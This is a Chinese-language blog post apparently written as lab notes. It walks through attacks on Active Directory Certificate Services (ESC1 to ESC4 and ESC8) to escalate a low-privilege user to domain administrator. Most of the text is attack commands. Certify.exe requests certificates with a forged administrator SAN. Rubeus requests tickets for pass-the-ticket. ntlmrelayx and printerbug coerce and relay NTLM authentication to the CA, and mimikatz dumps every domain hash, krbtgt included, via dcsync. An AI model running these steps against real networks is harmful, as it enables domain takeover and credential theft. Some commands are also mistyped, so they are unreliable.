windows域之证书攻击手段
VSole2021-12-09 15:11:06
参考链接:https://xz.aliyun.com/t/10064 工具链接 https://github.com/GhostPack/Certify 证书服务发布的部分证书可用于kerberos认证,并且可以再返回的PAC中获取NTMLhash。 能进行认证的证书 1、客户端认证 2、PKINIT 客户端身份验证 3、智能卡登录 4、任何目的 5、子CA 其中ECS1和ECS8是比较常用的。中间的就记录一下。
搜索证书
certmgr.msc 图形化界面 certutil -user -store My //查看个人证书 certutil -user -store My f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.cer //导出证书 certutil -user -exportPFX f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.pfx //导出证书包含公私钥
利用导出的证书窃取凭借
1.查看用户的证书 certutil -user -store My2.导出用户证书,包含公私钥3.本地添加证书,配代理访问(kekeo校验的时候看到会对域控请求,所以需要配dns代理一起,这里为了方便就直接内网机做了)tgt::pac /subject:证书用户 /castore:current_user /domain:域控
总结一下,原因是证书中包含了用户的ntml信息,所以我们可以导出这些ntml信息(中间涉及一些证书不可导出的参考参考链接mimikatz导出)
ADCS ESC1
允许低权限用户使用任意SAN请求证书,从而允许低权限用户通过kerberos或schannel作为域中任何主体进行身份验证,白话文就是实现伪造身份 允许这些设置的已发布证书模板,攻击者可以作为环境中的任何人请求证书,使用该证书为用户获取TGT 最终实现低权限用户拥有域控权限
Certify.exe request /ca:yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1 /template:LDAPS /altname:administrator//导出证书 openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 生成证书
注入证书 Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.203.2 /ptt
ADCS ESC2
和ECS1类似,主要是他的条件更为宽松导致的 我们可以使用带有任何目的的EKU功能证书,进行客户端、服务端的身份验证,也可以使用无EKUs的证书来进行任何目的,或签署新的证书 因此使用从属CA(比跟CA低一级的CA)证书,攻击者能够指定新证书中的任意EKUs或字段
利用和ECS1一样,就不继续写命令了
ADCS ESC3
证书请求代理EKU允许委托人代表其他用户申请证书,对于任何注册此模板的用户,生成的证书可用于代表任何用户共同签署部署请求。代表其他用户来申请证书,和伪造类似
根据参考文章来看,工具没有跑出来,所以利用一下命令看 yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1 查看 Application Policies : 证书申请代理 pkiextendedkeyusage : 客户端身份验证, 证书申请代理是否具有
这里命令大同小异,记录一下就行,2019复现出错了。 Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3 Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3_1 /onbehalfof:TEST\administrator /enrollcert:3.pfx openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Rubeus.exe asktgt /user:TEST\administrator /certificate:4.pfx
ADCS ESC4
https://www.cnblogs.com/sakura521/p/15489865.html 主要还是配置错误导致写权限可以写造成的。
ADCS ESC8
证书中继 ADCS Relay 攻击流程 1.通过ntlm_relay,我们获得一个以机器A用户认证的证书 2.我们通过Rubeus asktgt功能用这个证书向AD发起kerberos认证 3.我们获取到TGT并请求目标机器的TGS,获取权限 参考:https://www.cnblogs.com/marksec/p/15600759.html 环境配置也见参考链接
攻击利用
(1)certutil -config - -ping 获取证书服务器的ipcertutil -ca(2)判断是否支持NTML方式curl http://192.168.203.3/certsrv/ -I(3)中继利用python3 ntlmrelayx.py -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs 开启中继监听python printerbug.py domain/user:password@192.168.237.22 192.168.237.131打印机一:keko导出(注意参考链接给的代码是有问题的)kekeo:base64 /input:ontgt::ask /pfx:xxx /user:DC01$ /domain: /pttuser需要为我们获取证书的那个机器用户
看一下我全部的截图+命令 privilege::debug kerberos::purge //清楚票据 方便对比 base64 /input:on tgt::ask /pfx:xxx /user:DC01$ /domain: /ptt 能够看到这里注入了一张kirtgt的票据,就可以 做金银票了。dumphash
Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt
dumphash lsadump::dcsync /all /csv /domain:e0mlja.com lsadump::dcsync /user:krbtgt /csv
本作品采用《CC 协议》,转载必须注明作者和本文链接

VSole
网络安全专家